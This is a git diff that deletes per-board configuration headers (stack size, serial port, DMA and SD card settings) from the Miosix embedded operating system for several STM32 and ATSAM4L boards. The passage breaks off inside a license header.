a/miosix/config/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/board_settings.h deleted file mode 100644 index e32cb29df..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103ve_strive_mini/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F103VE has 64KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/board_settings.h deleted file mode 100644 index 635446b5a..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103ze_redbull_v2/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2011-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F103VE has 64KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 3 is not used, so not enabling DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/board_settings.h b/miosix/config/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/board_settings.h deleted file mode 100644 index d6626466f..000000000 --- a/miosix/config/arch/cortexM3_stm32f1/stm32f103ze_stm3210e-eval/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the -/// board, reduces timing resolution to only 16kHz and makes context switches -/// much slower (due to RTC limitations, minimum time beween two context -/// switches becomes 91us), but the os can keep precise time even when the CPU -/// is clocked with an RC oscillator and time is kept across deep sleep -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F103ZE has 64KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 1 is not used, so not enabling DMA - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f205_generic/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f205_generic/board_settings.h deleted file mode 100644 index f3ecda290..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f205_generic/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2018-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F205 has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA -//#define SERIAL_3_DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/board_settings.h deleted file mode 100644 index 16ce0454d..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f205rc_skyward_stormtrooper/board_settings.h +++ /dev/null @@ -1,65 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2016 by Terraneo Federico and Silvano Seva * - * for Skyward Experimental Rocketry * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F205RC has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 has no DMA as it would conflict with SPI6 -// #define SERIAL_2_DMA //Serial 2 is used by the piksi GPS, enable DMA -//#define SERIAL_3_DMA //Serial 3 is not used - -//STM32Serial class supports only USART1, for USART2 and USART3 low-level -//access is needed to write modbus RTU driver properly -#define STM32_NO_SERIAL_2_3 - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/board_settings.h deleted file mode 100644 index e3ac2e7bc..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f205rg_sony-newman/board_settings.h +++ /dev/null @@ -1,52 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2013-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F207ZG has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/board_settings.h deleted file mode 100644 index 1528ebd9c..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f207ig_stm3220g-eval/board_settings.h +++ /dev/null @@ -1,69 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F207IG has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -//This board only exposes USART3, without flow control -const unsigned int defaultSerialSpeed=19200; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -#define SERIAL_3_DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/board_settings.h deleted file mode 100644 index ff5d20463..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f207ze_als_camboard/board_settings.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F207ZG has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //TODO: DCMI driver conflicts, buf can be fixed -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 3 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/board_settings.h deleted file mode 100644 index 0d444bc6b..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f207zg_EthBoardV2/board_settings.h +++ /dev/null @@ -1,70 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F207IG has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 3 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -//#define SD_ONE_BIT_DATABUS //Using 4 bit fast bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32f2/stm32f207zg_nucleo/board_settings.h b/miosix/config/arch/cortexM3_stm32f2/stm32f207zg_nucleo/board_settings.h deleted file mode 100644 index e3c51a627..000000000 --- a/miosix/config/arch/cortexM3_stm32f2/stm32f207zg_nucleo/board_settings.h +++ /dev/null @@ -1,69 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2022 by Terraneo Federico * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F207ZG has 128KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerialSpeed=19200; -//#define SERIAL_1_DMA //Serial 1 is not used, so not enabling DMA -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -#define SERIAL_3_DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -//SD card driver -static const unsigned char sdVoltage=33; //Board powered @ 3.3V -//#define SD_ONE_BIT_DATABUS //Use fast 4 bit bus - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/board_settings.h b/miosix/config/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/board_settings.h deleted file mode 100644 index b932ae56b..000000000 --- a/miosix/config/arch/cortexM3_stm32l1/stm32l151c8_als_mainboard/board_settings.h +++ /dev/null @@ -1,66 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the -/// STM32F151C8 has 10KB of RAM so use a small 1.5K stack. -const unsigned int MAIN_STACK_SIZE=1536; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -//#define SERIAL_1_DMA //Serial 1 is used, but no DMA to save on code -//#define SERIAL_2_DMA //Serial 2 is not used, so not enabling DMA -//#define SERIAL_3_DMA //Serial 3 is not used, so not enabling DMA - -///\def STDOUT_REDIRECTED_TO_DCC -///If defined, stdout is redirected to the debug communication channel, and -///will be printed if OpenOCD is connected. If not defined, stdout will be -///redirected throug USART1, as usual. -//#define STDOUT_REDIRECTED_TO_DCC - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_atsam4l/atsam4lc2aa_generic/board_settings.h b/miosix/config/arch/cortexM4_atsam4l/atsam4lc2aa_generic/board_settings.h deleted file mode 100644 index b33b9642b..000000000 --- a/miosix/config/arch/cortexM4_atsam4l/atsam4lc2aa_generic/board_settings.h +++ /dev/null @@ -1,72 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Select oscillator speed at startup. Currently supported configurations are -/// 4, 8, 12MHz, all using RCFAST -/// NOTE: when flashing with a debugger need to powercycle betwwen clock changes -/// NOTE: 4MHz oscillator is too imprecise for serial port to work -constexpr unsigned int bootClock=12000000; - -/// If this is NOT defined, start32kHzOscillator() starts the 32kHz crystal -/// oscillator, so you need a quarts crystal attached to the proper pins. -/// If this IS defined, start32kHzOscillator() falls back to the internal RC osc -//#define USE_RC_32K_OSCILLATOR - -/// Use AST as os_timer instead of TC1. This requires a 32kHz crystal to be -/// connected to the board, reduces timing resolution to only 16kHz and makes -/// context switches much slower but the os easily keeps time across deep sleeps -//#define WITH_RTC_AS_OS_TIMER - -/// Size of stack for main(). -/// The C standard library is stack-heavy (iprintf requires 1KB) but the -/// atsam4lc2aa only has 32KB of RAM so there is room for a big 4K stack. -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=2; -const unsigned int defaultSerialSpeed=115200; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/board_settings.h b/miosix/config/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/board_settings.h deleted file mode 100644 index 8553aeda9..000000000 --- a/miosix/config/arch/cortexM4_stm32f3/stm32f303vc_stm32f3discovery/board_settings.h +++ /dev/null @@ -1,62 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -/** - * \internal - * Versioning for board_settings.h for out of git tree projects - */ -#define BOARD_SETTINGS_VERSION 300 - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// Size of stack for main(). -const unsigned int MAIN_STACK_SIZE=4*1024; - -/// Serial port -const unsigned int defaultSerial=1; -const unsigned int defaultSerialSpeed=19200; -const bool defaultSerialFlowctrl=false; -#define SERIAL_1_DMA -// #define SERIAL_2_DMA -// #define SERIAL_3_DMA - -//SD card driver -static const unsigned char sdVoltage=30; //Board powered @ 3.0V -// #define SD_ONE_BIT_DATABUS - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/config/arch/cortexM4_stm32f4/stm32f401re_nucleo/board_settings.h b/miosix/config/arch/cortexM4_stm32f4/stm32f401re_nucleo/board_settings.h deleted file mode 100644 index c0829b7b1..000000000 --- a/miosix/config/arch/cortexM4_stm32f4/stm32f401re_nucleo/board_settings.h +++ /dev/null @@ -1,63 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. 